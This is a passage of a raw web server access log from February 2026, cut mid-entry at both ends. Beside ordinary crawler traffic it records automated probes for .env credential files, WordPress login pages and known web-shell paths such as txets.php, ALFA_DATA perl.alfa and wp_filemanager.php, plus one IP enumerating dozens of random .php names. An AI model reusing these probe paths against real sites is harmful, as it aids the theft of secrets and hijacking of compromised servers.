Safari/604.1" 45.194.92.21 - - [22/Feb/2026:12:16:00 +0300] "GET /theme/assets/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 103.158.121.29 - - [22/Feb/2026:12:41:44 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Python/3.8 aiohttp/3.10.11" 103.158.121.29 - - [22/Feb/2026:12:41:48 +0300] "GET /.env.example HTTP/1.1" 301 795 "-" "Python/3.8 aiohttp/3.10.11" 170.106.163.84 - - [22/Feb/2026:14:24:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 14.18.16.150 - - [22/Feb/2026:14:40:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 103.158.121.29 - - [22/Feb/2026:13:56:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36" 14.18.16.150 - - [22/Feb/2026:14:22:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 103.158.121.29 - - [22/Feb/2026:13:38:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121 Safari/537.36" 43.131.45.213 - - [22/Feb/2026:13:27:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.68.111.205 - - [22/Feb/2026:15:13:14 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.111.205 - - [22/Feb/2026:15:13:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 74.7.228.21 - - [22/Feb/2026:15:03:45 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 74.7.241.27 - - [22/Feb/2026:15:04:10 +0300] "GET / HTTP/1.1" 301 795 "http://gemsdomain.com" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 40.74.73.234 - - [22/Feb/2026:15:19:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 194.26.192.238 - - [22/Feb/2026:15:43:51 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.238 - - [22/Feb/2026:15:43:51 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.238 - - [22/Feb/2026:15:43:51 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.238 - - [22/Feb/2026:15:43:51 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.238 - - [22/Feb/2026:15:43:51 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.238 - - [22/Feb/2026:15:43:52 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.238 - - [22/Feb/2026:15:43:52 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.238 - - [22/Feb/2026:15:43:52 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 60.188.57.0 - - [22/Feb/2026:15:54:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.238 - - [22/Feb/2026:15:43:51 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 31.13.127.25 - - [22/Feb/2026:18:01:56 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 173.252.70.112 - - [22/Feb/2026:18:01:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 5.189.134.86 - - [22/Feb/2026:19:10:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 43.166.255.102 - - [22/Feb/2026:19:13:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.180.2 - - [22/Feb/2026:20:08:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.234.20.103 - - [22/Feb/2026:21:55:53 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.107.182.56 - - [22/Feb/2026:21:45:53 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 110.166.71.39 - - [22/Feb/2026:22:29:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.232.89.175 - - [22/Feb/2026:22:37:15 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 98.83.57.80 - - [22/Feb/2026:23:22:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.94.31.242 - - [22/Feb/2026:23:46:19 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [22/Feb/2026:23:46:19 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [22/Feb/2026:23:46:19 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [22/Feb/2026:23:46:18 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [22/Feb/2026:23:46:18 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [22/Feb/2026:23:46:18 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [22/Feb/2026:23:46:18 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [22/Feb/2026:23:46:19 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [22/Feb/2026:23:46:19 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.130.34.74 - - [23/Feb/2026:01:37:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 101.33.81.73 - - [23/Feb/2026:02:33:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.213.17.83 - - [23/Feb/2026:03:06:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.39.19 - - [23/Feb/2026:05:53:10 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.63.39.19 - - [23/Feb/2026:05:53:10 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.209.196.238 - - [23/Feb/2026:05:37:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 20.63.39.19 - - [23/Feb/2026:05:53:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.63.39.19 - - [23/Feb/2026:05:53:10 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.63.39.19 - - [23/Feb/2026:05:53:28 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.159.152.187 - - [23/Feb/2026:07:40:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 120.240.178.241 - - [23/Feb/2026:06:43:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3140.87 Safari/537.36 QIHU 360SE" 103.166.91.45 - - [23/Feb/2026:07:51:55 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 52.169.148.186 - - [23/Feb/2026:08:03:21 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.166.245.120 - - [23/Feb/2026:08:41:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.214.157.214 - - [23/Feb/2026:09:18:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 91.202.4.80 - - [23/Feb/2026:09:27:13 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 179.43.159.170 - - [23/Feb/2026:09:27:11 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 157.15.40.93 - - [23/Feb/2026:11:00:02 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 176.65.148.161 - - [23/Feb/2026:10:38:14 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 176.65.148.161 - - [23/Feb/2026:10:38:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 176.65.148.161 - - [23/Feb/2026:10:38:16 +0300] "HEAD /_next HTTP/1.1" 301 0 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 20.214.158.14 - - [23/Feb/2026:10:50:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.39.19 - - [23/Feb/2026:10:22:10 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.63.39.19 - - [23/Feb/2026:10:22:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.63.39.19 - - [23/Feb/2026:10:22:10 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.241.211.8 - - [23/Feb/2026:11:04:11 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 14.215.163.132 - - [23/Feb/2026:12:13:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 81.70.56.134 - - [23/Feb/2026:11:36:57 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.130.110.130 - - [23/Feb/2026:13:28:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.165.65.75 - - [23/Feb/2026:14:21:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 124.198.132.119 - - [23/Feb/2026:13:26:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 20.114.221.114 - - [23/Feb/2026:15:28:42 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 146.103.115.186 - - [23/Feb/2026:15:53:46 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36" 20.100.192.217 - - [23/Feb/2026:16:03:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 31.56.177.209 - - [23/Feb/2026:16:39:02 +0300] "GET /?feed=rss2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/603.1.13 (KHTML, like Gecko) Version/10.1 Safari/603.1.13" 120.198.141.84 - - [23/Feb/2026:17:07:37 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 69.171.231.4 - - [23/Feb/2026:16:27:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 172.213.17.83 - - [23/Feb/2026:17:15:55 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.231.66.246 - - [23/Feb/2026:18:19:28 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.130.131.18 - - [23/Feb/2026:19:03:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 176.74.197.77 - - [23/Feb/2026:18:48:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/93.8.2357.5" 43.153.7.191 - - [23/Feb/2026:19:56:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 193.142.146.55 - - [23/Feb/2026:19:58:09 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (compatible; scanner/1.0)" 193.142.146.55 - - [23/Feb/2026:19:58:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; scanner/1.0)" 36.41.75.167 - - [23/Feb/2026:19:19:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 50.114.33.81 - - [23/Feb/2026:22:13:05 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 68.221.129.30 - - [23/Feb/2026:23:08:07 +0300] "GET /cz.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:08:15 +0300] "GET /fn.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:10:15 +0300] "GET /wm.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:10:45 +0300] "GET /ka.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:12:43 +0300] "GET /fh.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:12:46 +0300] "GET /hg.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:13:53 +0300] "GET /oy.php HTTP/1.1" 301 795 "-" "-" 45.148.10.124 - - [23/Feb/2026:22:56:06 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5S) Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36" 68.221.129.30 - - [23/Feb/2026:23:06:18 +0300] "GET /uy.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:06:23 +0300] "GET /hc.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:07:59 +0300] "GET /ku.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:12:37 +0300] "GET /yo.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:14:07 +0300] "GET /zn.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:05:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:06:09 +0300] "GET /am.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:06:49 +0300] "GET /hu.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:06:52 +0300] "GET /cm.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:06:58 +0300] "GET /rv.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:07:37 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:11:24 +0300] "GET /lg.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:11:27 +0300] "GET /dj.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:11:31 +0300] "GET /bn.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:08:50 +0300] "GET /iu.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:09:50 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:09:54 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:10:23 +0300] "GET /uu.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:12:08 +0300] "GET /yh.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:12:19 +0300] "GET /mo.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:12:56 +0300] "GET /rb.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:13:44 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 165.232.42.155 - - [23/Feb/2026:22:54:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 68.221.129.30 - - [23/Feb/2026:23:07:13 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:07:20 +0300] "GET /vc.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:07:24 +0300] "GET /qn.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:09:15 +0300] "GET /mx.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:09:19 +0300] "GET /mq.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:09:28 +0300] "GET /vg.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:09:36 +0300] "GET /en.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:11:03 +0300] "GET /bq.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:11:11 +0300] "GET /lj.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:11:38 +0300] "GET /su.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:06:38 +0300] "GET /fa.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:07:31 +0300] "GET /em.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:08:24 +0300] "GET /ik.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:09:00 +0300] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:10:52 +0300] "GET /ch.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:12:27 +0300] "GET /zf.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:07:45 +0300] "GET /fu.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:09:41 +0300] "GET /zb.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:10:38 +0300] "GET /wh.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:11:53 +0300] "GET /lp.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:13:18 +0300] "GET /cs.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:13:27 +0300] "GET /dm.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:13:31 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 178.20.42.76 - - [23/Feb/2026:21:35:34 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 165.232.42.155 - - [23/Feb/2026:22:54:52 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 68.221.129.30 - - [23/Feb/2026:23:06:44 +0300] "GET /vt.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:08:38 +0300] "GET /qp.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:10:06 +0300] "GET /df.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:11:16 +0300] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:13:10 +0300] "GET /ja.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:14:16 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:14:49 